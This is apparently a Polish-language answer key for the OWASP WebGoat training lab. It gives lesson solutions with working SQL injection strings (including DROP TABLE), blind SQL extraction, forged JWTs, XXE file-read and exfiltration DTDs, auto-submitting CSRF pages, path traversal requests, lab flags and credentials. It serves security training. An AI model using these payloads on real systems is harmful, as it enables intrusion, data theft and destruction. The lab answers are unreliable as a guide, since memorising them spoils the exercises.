**WebGoat Answers**

**(A0) General**

1. **HTTP Basics**

2.

Wpisujemy swoje imię

3.

POST

Wciskamy F12, przechodzimy do Networks i sprawdzamy magic number w rekordach

1. **HTTP Proxies**

6.

Odpalamy Burp Suite lub Zapa, edytujemy metodę na GET, następnie dodajemy

'x-request-intercepted:true' w wywołaniu i edytujemy wartość parametru

change me na 'Requests+are+tampered+easily

1. **Developer Tools**

4.

Odpalamy konsole F12 i wywołujemy zadaną funkcję webgoat.customjs.phoneHome(),

następnie odczytujemy numer

6.

Odpalamy F12 i sprawdzamy w rekordach networkNum

1. **CIA Triad**

Solution 3: By stealing a database where names and emails are stored and uploading it to a website.

Solution 1: By changing the names and emails of one or more users stored in a database.

Solution 4: By launching a denial of service attack on the servers.

Solution 2: The systems security is compromised even if only one goal is harmed.

1. **Crypto Basics**

2. Dekodujemy format Base64

3. Dekodujemy xor, https://strelitzia.net/wasXORdecoder/wasXORdecoder.html

4. Dekodujemy MD5 i sha256

https://md5.gromweb.com/?md5=5ebe2294ecd0e0f08eab7690d2a6ee69

https://hashtoolkit.com/decrypt-sha256-hash/5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8

6. Kopiujemy klucz prywatny i tworzymy katalog z kluczem prywatnym np.

polecenie cat test.key w Kali, następnie używwamy polecenie

przy użyciu openssl rsa -in test.key -pubout > test.pub i całość realizujemy

jako klucz publiczny, następnie tworzymy moduł przy pomocy polecenia

openssl rsa -in test.pub -pubin -modulus -noout, następnie kodujemy w sha256

przy pomocy polecenia echo -n "modulus" | opennsl dgst -sign test.key -sha256

-out sign.sha256, wrzucamy do katalogu np. cat sign.sha256.base64, kopiujemy

i zrobione

8. Kolejny odpalamy dockera i wpisujemy komendę docker cp shadow ass:/etc/shadow,

nastepnie logujemy się na root poprzez su-, podajemy hasło. Przechodzimy komendą

cd /root, następnie sprawdzamy katalogi komendą ls -alF. Łatwo zweryfikować katalog

default\_secret. Polecenie cat default\_secret ukazuje ThisIsMySecretPassw0rdF0rY0u.

Następnie polecenie echo "danykodU2" | openssl enc -aes-256-cbc -d -a -kfile /root/default\_secret

uzyskujemy zaszyfrowaną wiadomość Leaving passwords in docker images is not so secureroot:#

1. **Writing new lesson**

6. Wystarczy odczytać podany kod, a parametr 1 to secr37Value.

**(A1) Injection**

1. **SQL Injection (intro)**

2. SELECT department FROM employees WHERE first\_name = 'Bob'

3. update employees set department = 'Sales' where first\_name = 'Tobi'

4. ALTER TABLE employees ADD phone varchar(20)

5. GRANT ALTER TABLE TO UnauthorizedUser

9. ' or '1'='1, całe polecenie wygląda tak SELECT \* FROM user\_data WHERE first\_name = 'John' and last\_name = '' or '1' = '1'

10. 0 , 0 or TRUE Your query was: SELECT \* From user\_data WHERE Login\_Count = 0 and userid= 0 or TRUE

11. ' or TRUE -- , 3SL99A

12. Smith, '; UPDATE employees SET salary = 999999999 WHERE first\_name = 'John'; --

13. '; DROP TABLE access\_log; --

1. **SQL Injection (advanced)**

3. 'OR TRUE; SELECT \* FROM user\_system\_data;--' , passW0rD

5. Wklepujemy nazwę użytkownika:

Rejestrujemy użytkownika tom' or password='123 i otrzymujemy komunikat User {0} already exists please try to register with a different username,

dzięki temu wiemy że nazwa kolumny w której znajduje się hasło to hasło.

Odpalamy Burpsuite, zmieniamy parametr username\_reg ma tom' and (length(password)=§10§). Wrzucamy całość do Intrudera i odpalamy Payload

w standardowej konfiguracji, kolejność rośnie aż do zwrócenia błędu rejestracji, czyli aż do numeru 23 (oznacza to długość całkowitą hasła).

Ponownie modyfikujemy plik w Intruderze na tom' and (substr(password,§1§,1)='§2§') --, Wybieramy tryb Cluster bomb i wykorzystujemy 2 ładunki.

Pierwszy parametr to indeks od 1 do 23, następny to Brute Forcer wypełniony małymi i dużymi literami oraz cyframi.

Hasło po złamaniu to: thisisasecretfortomonly

Inna opcja to po podstawowej identyfikacji pierwszej litery hasła w cyklu ataku od 0 do 9 Sniperem, wykorzystanie skryptu

napisanego np. w Pythonie do automatyzacji procesu kolejnego znajdywania haseł w przypadku prawidłowej rejestracji danego symbolu.

6.

Solution 4: A statement has got values instead of a prepared statement

Solution 3: ?

Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.

Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.

Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.

1. **SQL Injection (mitigation)**

5.

Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);

PreparedStatement statement = conn.prepareStatement("SELECT status FROM users WHERE name=? AND mail=?");

statement.setString(1, name);

statement.setString(2, mail);

6.

String name = "Tom";

String query = "SELECT \* FROM users WHERE name = ?";

try (Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);

PreparedStatement stmt = conn.prepareStatement(query)) {

stmt.setString(1, name);

stmt.executeQuery();

} catch (SQLException sqle) {

System.out.println("Oops. Something went wrong!");

}

9. Smith';SELECT/\*\*/\*/\*\*/FROM/\*\*/user\_system\_data;--

10. Smith';SSELECTELECT/\*\*/\*/\*\*/FFROMROM/\*\*/user\_system\_data;--

12. Odpalamy Burpa i sprawdzamy jak wygląda zapytanie w przypadku posortowania

dla adresu ip. Sprawdzamy możliwości aby uzyskać nazwę serwera, modyfikując zapytanie w Burpie:

(CASE+WHEN+(SELECT+hostname+FROM+servers+WHERE+hostname='webgoat-dev')+=+'webgoat-dev'+THEN+id+ELSE+status+END)

Jeśli istnieje nazwa hosta serwera „webgoat-prd”, lista jest uporządkowywana według identyfikatora,

w przeciwnym wypadku jest uporządkowywana przez status.

Sprawdzamy kolejno różne konfiguracje wyszukiwania serwera IP poprzez modyfikację zapytania:

# substring(IP address,1,1) = '1'

(CASE+WHEN+(SELECT+substring(ip,1,1)+FROM+servers+WHERE+hostname='webgoat-prd')+=+'1'+THEN+id+ELSE+status+END)

# substring(IP address,1,2) = '10'

(CASE+WHEN+(SELECT+substring(ip,2,1)+FROM+servers+WHERE+hostname='webgoat-prd')+=+'10'+THEN+id+ELSE+status+END)

Sprawdzamy jak wygląda response sorotowania i wybieramy te poprawne, czyli kolejno:

1->0->4, jest to początek adresu IP.

1. **Path traversal**

2. Modyfikujemy wartość test o ../test

3. Modyfikujemy wartość test o ..././test

4. Content-Disposition: form-data; name="uploadedFileRemoveUserInput"; filename="../test.txt"

Content-Type: application/text

5. Można zmodyfikować zapytanie GET GET /WebGoat/PathTraversal/random-picture?id=2.jpg HTTP/1.1

W ten sposób weryfikujemy w respone automatyczne dodawanie .jpg do każdego zapytania.

Sprawdzamy GET /WebGoat/PathTraversal/random-picture?id=../ HTTP/1.1. Niestety otrzymujemy komunikat

Illegal characters are not allowed in the query params. Spróbujmy kodowania URL,

GET /WebGoat/PathTraversal/random-picture?id=%2e%2e%2f HTTP/1.1, w tym wypadku

Aplikacja internetowa zwróciła listę katalogu / PathTraversal. W doku prób rozwiązanie to

GET /WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2fpath-traversal-secret HTTP/1.1

Otrzymujemy informację zwrotną You found it submit the SHA-512 hash of your username as answer

Kodujemy w SHA512 swoją nazwę i zrobione

**(A2) Broken Authentication**

1. **Authentication Bypasses**

2. Wystarczy zmodyfikować skrypt pytania zabezpieczającego, w ten sposób otrzymujemy zwrotnie możliwość zmiany hasła.

Cookie: JSESSIONID=NHrj3nMRaJGPjKYyZSEDY4RZ25Jc-YnBcSklFHda

Connection: close

secQuestion10=dar&secQuestion11=ddd&jsEnabled=1&verifyMethod=SEC\_QUESTIONS&userId=12309746

1. **JWT tokens**

4. Logujemy się jako Tom i głosujemy, następnie próbujemy jako gość usunąć głos Toma,

w Burpie dostajemy odpowiedź zwrotną "Only an admin user can reset the votes".

Wystarczy tylko edytować uprawnienia administratora i usunąć sygnaturę dla weryfikacji np. w jwt.io,

następnie zapytanie ze zmodyfikowanym tokenem przesłać dalej (eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MTg1OTMxNTUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.).

5. Wykorzystujemy hashcata i listę haseł aby złamać token JWT, sygnatura to shipping. Następnie modyfikujemy całośc w programie np. jwt.io.

Tak przygotowany token wklejamy w zadaniu (eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYwMTc3Mjk3MjUsImV4cCI6MTYwMTc3Mjk3ODUsInN1YiI6IndlYmdvYXRAd2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6IndlYmdvYXRAd2ViZ29hdC5vcmciLCJSb2xlIjpbIk1hbmFnZXIiLCJQcm9qZWN0IEFkbWluaXN0cmF0b3IiXX0.3sjbqxpc47zcvDyCOaPoYysPQbjL6h2Tx5CtrXlfJkE).

7. Odświeżamy stronę, w burpie można zauważyć:

Cookie: JSESSIONID=04HcJQRR7MeluE3XiJQ\_JJYXBhZmXJby3pVs1Izw

Connection: close

{"user":"Jerry","password":"bm5nhSkxCXZkKRy4"}

Wysyłając zapytanie otrzymujemy wcześniejszy token który możemy wykorzystać, przechodzimy do checkout i przechwytujemy zapytanie.

W przechwyconym tokenie usuwamy algorytm oraz sygnaturę weryfikacji, zmieniamy dane na Toma, edytujemy odpowiednią godzinę (dokładny czas można znaleźć np. w pythonie time. time())

Wklejamy zmodyfikowany token jako wartość dla autoryzacji i przechodzimy dalej.

eyJhbGciOiJOb25lIn0=.eyJpYXQiOjE2MTgzNDc5MTUuOTIyNzQ5LCJleHAiOjE2NTgzNDc5MTUuOTIyNzQ5LCJhZG1pbiI6ImZhbHNlIiwidXNlciI6IlRvbSJ9.

8. Klikamy delete i przechwytujemy zapytanie w Burpie.

POST /WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 HTTP/1.1

Host: localhost:8080

Content-Length: 0

Token ten oznacza dokładnie:

{

"typ": "JWT",

"kid": "webgoat\_key",

"alg": "HS256"

}

{

"iss": "WebGoat Token Builder",

"iat": 1618348964,

"exp": 1618905304,

"aud": "webgoat.org",

"sub": "jerry@webgoat.com",

"username": "Jerry",

"Email": "jerry@webgoat.com",

"Role": [

"Cat"

]

}

Należy go zmodyfikować, dodając do kid odpowiednie polecenie union select, oraz zmieniając użytkownika dla odpowiedniej weryfikacji, czyli

{

"typ": "JWT",

"alg": "HS256",

"kid": "'union select 'MQ==' from INFORMATION\_SCHEMA.SYSTEM\_USERS --"

}

{

"iss": "WebGoat Token Builder",

"iat": 1618348964,

"exp": 1633475398,

"aud": "webgoat.org",

"sub": "jerry@webgoat.com",

"username": "Tom",

"Email": "jerry@webgoat.com",

"Role": [

"Cat"

]

}

Cały token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Iid1bmlvbiBzZWxlY3QgJ01RPT0nIGZyb20gSU5GT1JNQVRJT05fU0NIRU1BLlNZU1RFTV9VU0VSUyAtLSJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYzMzQ3NTM5OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.6\_HQzwkh4D3Y7JMH08PoTXDb2LH7\_RUBWTWVuBDS7m8

1. **Password reset**

2. Odpalamy WebWolf, wpisujemy email, przesyłamy dalej, sprawdzamy mailbox w WebWolfie i wpisujemy nowe hasło.

4. Metoda prób i błędów dla tego samego pytania weryfikacyjnego,

skoro nasz ulubiony kolor to czerwony, to w przypadku admina jest to green (proces można zautomatyzować w Burpie).

5. Klikamy 2 opcje

6. Po przeanalizowaniu działania mechanizmu resetowania haseł, przechwytujemy i edytujemy zapytanie w Burpie (aby poszło do WebWolfa):

POST /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link HTTP/1.1

Host: localhost:9090

Content-Length: 29

sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99"

Accept: \*/\*

Sprawdzamy w WebWolfie, przychodzące requesty i zmieniamy ścieżkę otrzymanego requesta zgodnie z wzorcem działania

mechanizmu resetowania haseł tj. http://localhost:8080/WebGoat/PasswordReset/reset/reset-password/a30db6ad-4ca6-4bf0-bc0f-9128b3400007

Następnie logujemy się na konto Toma.

**(A3) Sensitive Data Exposure**

1. **Insecure Login**

2. Przechwytujemy w Burpie, albo sprawdzamy przez konsolę deweloperską. W przechwyconym zapytaniu znajduje się login i hasło.

{"username":"CaptainJack","password":"BlackPearl"}

**(A4) XML External Entities (XXE)**

1. **XXE**

4. Przechwytujemy w Burpie po dodaniu jakiegokolwiek komentarza i edytujemy nasze zapytanie:

<?xml version="1.0"?> <!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]>

<comment> <text>&root;</text></comment>

7. Podobna sytuacja, innaczej zmodyfikowany tekst i zmiana typu kontentu na xml:

Content-Type: application/xml

<?xml version="1.0"?>

<!DOCTYPE another [

<!ENTITY fs SYSTEM "file:///">

]>

<comment> <text>

grzdun&fs;

</text></comment>

11. Tworzymy plik do ataku i przesyłamy do WebWolfa:

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % payload "<!ENTITY attack SYSTEM 'http://localhost:9090/landing?text=%file;'>">

Modyfikujemy zapytanie przechwycone w Burpie

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY % file SYSTEM "file:///c:/Users/cuqier/.webgoat-8.1.0/XXE/secret.txt">

<!ENTITY % getdtd SYSTEM "http://localhost:9090/files/webgoat/zap.dtd">

%getdtd;

%write;

]>

<comment> <text>1&send;</text></comment>

Sprawdzamy dodawanie komentarzy: &test;

Następnie sprawdzamy Incoming requests w WebWolfie (WebGoat 8.0 rocks... (jCVeiaUCjc)), kopiujemy i edytujemy wiadomość.

**(A5) Broken Access Control**

1. **Insecure Direct Object References**

2. Logujemy się, login:tom, hasło:yes

3. Wystarczy sprawdzić sieci w konsoli deweloperskiej, znaleźć zapytanie dla View Profile, brakuje role i userId (nie mam pojęcia dlaczego Burp tego nie łapie).

4. Sprawdzamy dla znalezionego userId w poleceniu 3. WebGoat/IDOR/profile/2342384

5. Wystarczy sprawdzić zapytanie dla innego numeru userId

1. **Missing Function Level Access Control**

2. Po prostu sprawdzamy kod HTML i wyszukujemy ukryte elementy menu Users Config

3. Wystarczy zmodyfikować zapytanie:

GET /WebGoat/users HTTP/1.1

Connection: close

Content-Type: application/json

aby przechwycić "userHash" : "gxERduOvfQcPGsNvX/y4w281Jt5Xls8pfi4kWNlAZ6U="

**(A7) Cross-Site Scripting (XSS)**

1. **Cross Site Scripting**

2. Kopijemy http strony i sprawdzamy poleceniem w konsoli deweloperskiej, czy cookie są takie same.

Odpowiedź: yes

7. Sprawdzamy strukturę strony na podatność XSS, polecenie <script>alert("xss")</script>

Well done, but alerts are not very impressive are they? Please continue.

Thank you for shopping at WebGoat.

You're support is appreciated

We have charged credit card:

-------------------

$1.2890743356E8

10. Sprawdzamy w jaki sposób reprezentowana jest ścieżka routingu w adresie URL, wpisujemy polecenie: start.mvc#test

11. Odpalamy konsole deweloperską i wklejamy w adresie URL zmodyfikowany adres: localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome();<%2Fscript>

Otrzymujemy odpowiedź:

test handler

GoatRouter.js:66 phoneHome invoked

GoatRouter.js:77 phone home said {"lessonCompleted":true,"feedback":"Congratulations. You have successfully completed the assignment.","output":"phoneHome Response is -1842927206","assignment":"DOMCrossSiteScripting","attemptWasMade":true}

12.

A1. Are trusted websites immune to XSS attacks?

Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.

A2. When do XSS attacks occur?

Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.

A3. What are Stored XSS attacks?

Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.

A4. What are Reflected XSS attacks?

Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.

A5. Is JavaScript the only way to perform XSS attacks?

Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.

**(A8) Insecure Deserialization**

1. **Plik InsecDes w załączniku**

**(A9) Vulnerable Components**

1. **Vulnerable Components**

12. To pytanie ma na celu wykorzystanie luki, w celu uruchomienia czegoś innego:

<java.lang.Integer>

kalkulator

</java.lang.Integer>

**(A82013) Request Forgeries**

1. **Cross-Site Request Forgeries (załączniki Test3/4/7/8)**

3. Klikamy Prześlij i wysyłamy zapytanie, następnie robimy własną stronę internetową z odwołaniem i otwieramy w przeglądarce (plik HTML):

file:///C:/Users/cuqier/Desktop/WebGoat-odpowiedzi/(A82013) Request Forgeries/Test3.html

<!DOCTYPE html>

<html>

<head>

<script>

function f() {

document.getElementById("form").submit();

}

</script>

</head>

<body onload="f()">

<form method="POST" id="form" action="http://localhost:8080/WebGoat/csrf/basic-get-flag">

<input type="hidden" name="csrf" value="true"/>

</form>

</body>

</html>

4. Bardzo podobnie jak wcześniej, odświeżamy stronę i komentarze się pojawiają:

file:///C:/Users/cuqier/Desktop/WebGoat-odpowiedzi/(A82013) Request Forgeries/Test4.html

<!DOCTYPE html>

<html>

<head>

</head>

<body>

<form method="POST" id="form" action="http://localhost:8080/WebGoat/csrf/review">

<input type="hidden" name="reviewText" value="dawajnieidzdopracy"/>

<input type="hidden" name="stars" value="1"/>

<input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9"/>

</form>

<script>

document.getElementById("form").submit();

</script>

</body>

</html>

7. Znowu podobna sytuacja, w tym wypadku jednak wystepuje JSON:

file:///C:/Users/cuqier/Desktop/WebGoat-odpowiedzi/(A82013) Request Forgeries/Test7.html

<!DOCTYPE html>

<html>

<head>

</head>

<body>

<form method="POST" id="form" enctype="text/plain" action="http://localhost:8080/WebGoat/csrf/feedback/message">

<input type="hidden" name='{"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoatisthebest!!","1":"' value='"}'/>

</form>

<script>

document.getElementById("form").submit();

</script>

</body>

</html>

8. Podobnie jak wcześniej, jednak musimy wpierw zarejestroważ użytkownika zaczynającego się od csrf-, nastepnię wykorzystujemy nasz HTML:

file:///C:/Users/cuqier/Desktop/WebGoat-odpowiedzi/(A82013) Request Forgeries/Test8.html

<!DOCTYPE html>

<html>

<body onload=document.getElementById('login').submit()>

<form id="login" method="POST" action="http://localhost:8080/WebGoat/login">

<input id="username" name="username" value="csrf-webgoat" type="text">

<input id="password" name="password" value="webgoat" type="text">

</form>

</body>

</html>

1. **Server-Side Request Forgery**

2. Przechwytujemy zapytanie w burpie i zmieniamy url z Tom na jerry.

3. To samo, tylko zmieniamy url na <http://ifconfig.pro>.

**Client Side**

1. **Bypass front-end restrictions**

2. Wystarczy zmienić przechwycone zapytanie w burpie:

select=optison1&radio=optison1&checkbox=osn&shortInput=123s45

3. Burp Suite pozwala na ominięcie standardowej struktury front endu, możemy zatem zmodyfikować zapytanie:

field1=abc&field2=123&field3=abc+123+ABC&field4=seven&field5=01101&field6=90210-1111&field7=301-604-4882&error=0

po przekształceniu:

field1=ac&field2=1df23&field3=abc+1s,df23+ABC&field4=sesdf56ven&field5=0110sd1&field6=9021sdf0-1111&field7=301-6dfs04-4882&error=0

1. **Client side filtering**

2. Wystarczy otworzyć konsolę deweloperską i wyszukać imię lub nazwisko CEO.

3. Odpalamy Burpa i sprawdzamy odpowiedź dla wysłanego zapytania przy wybraniu kodów promocyjnych, odpowiedź to get\_it\_for\_free.

1. **Html tampering**

2. Wystarczy zmienić QTY=1&Total=2999.99 QTY=6&Total=2999.99, dostałem wtedy kilka telewizorów za darmo.

**Challenges**

1. **1 Admin lost password**

2. Po sprawdzeniu wszystkiego co możliwe, wystarczy sprawdzić adres źródłowy obrazka, nastepnie przechwycić zapytanie w Burpie i sprawdzić dokładnie jaka jest na nie odpowiedź (na ścieżkę obrazka WebGoat).

GET /WebGoat/challenge/logo HTTP/1.1

Host: localhost:8080

sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"

sec-ch-ua-mobile: ?0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: JSESSIONID=WKLaX2fVqXdVRYwxOZ6P5EvyUd4bOh1oFEgJpymS

Connection: close

Odpowiedź jest ukryta w kodzie źródłowym obrazka:

admin:!!webgoat\_admin\_0182!!

Flaga to:

a68ee42a-1656-47b6-bedc-11190c617e0d

1. **Without password**

1. Zadanie wymaga trochę kombinowania, gwarancja uzyskania prawidłowego hasła to dodanie do zapytania wartości prawdziwej:

Np. username\_login=Larry&password\_login=12341' or 1=1 -- -&remember=on

Here is your flag: e4aa266f-a824-483a-87d4-8d2eee307c51

1. **Admin password reset**

1. W tym wypadku sprawdziłem jak wygląda struktura strony dotycząca tego zadania.

WebGoat/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7

@RestController

@Slf4j

public class Assignment7 extends AssignmentEndpoint {

private static final String TEMPLATE = "Hi, you requested a password reset link, please use this "

+ "<a target='\_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password."

+ "\n \n\n"

+ "If you did not request this password change you can ignore this message."

+ "\n"

+ "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org"

+ "\n\n"

+ "Kind regards, \nTeam WebGoat";

@Autowired

private RestTemplate restTemplate;

@Value("${webwolf.url.mail}")

private String webWolfMailURL;

@GetMapping("/challenge/7/reset-password/{link}")

public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {

if (link.equals(SolutionConstants.ADMIN\_PASSWORD\_LINK)) {

return ResponseEntity.accepted().body("<h1>Success!!</h1>"

+ "<img src='/WebGoat/images/hi-five-cat.jpg'>"

+ "<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");

}

return ResponseEntity.status(HttpStatus.I\_AM\_A\_TEAPOT).body("That is not the reset link for admin");

Interesuje nas dokładnie if (link.equals(SolutionConstants.ADMIN\_PASSWORD\_LINK)), zadanie to było dość czasochłonne.

Sprawdzamy również jak to wygląda w budowie zadania:

public interface SolutionConstants {

//TODO should be random generated when starting the server

String PASSWORD = "!!webgoat\_admin\_1234!!";

String PASSWORD\_TOM = "thisisasecretfortomonly";

String ADMIN\_PASSWORD\_LINK = "375afe1104f4a487a73823c50a9292a2";

}

GET /WebGoat/challenge/7/reset-password/375afe1104f4a487a73823c50a9292a2 HTTP/1.1

Host: localhost:8080

Content-Length: 32

sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"

Accept: \*/\*

X-Requested-With: XMLHttpRequest

sec-ch-ua-mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://localhost:8080

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost:8080/WebGoat/start.mvc

Accept-Encoding: gzip, deflate

Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: JSESSIONID=WKLaX2fVqXdVRYwxOZ6P5EvyUd4bOh1oFEgJpymS

Connection: close

I flaga:

<h1>Success!!</h1><img src='/WebGoat/images/hi-five-cat.jpg'><br/><br/>Here is your flag: <b>05aa9369-29b2-4016-b5fb-84be9dd760eb</b>

email=admin%40webgoat.org&token=

1. **Without account**

1. Sprawdzamy zapytanie w przypadku oddania głosu w Burpie:

GET /WebGoat/challenge/8/vote/1 HTTP/1.1

Host: localhost:8080

sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"

Accept: \*/\*

X-Requested-With: XMLHttpRequest

sec-ch-ua-mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost:8080/WebGoat/start.mvc

Accept-Encoding: gzip, deflate

Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: JSESSIONID=WKLaX2fVqXdVRYwxOZ6P5EvyUd4bOh1oFEgJpymS

Connection: close

Zmieniamy GET na HEAD i otrzymujemy flagę.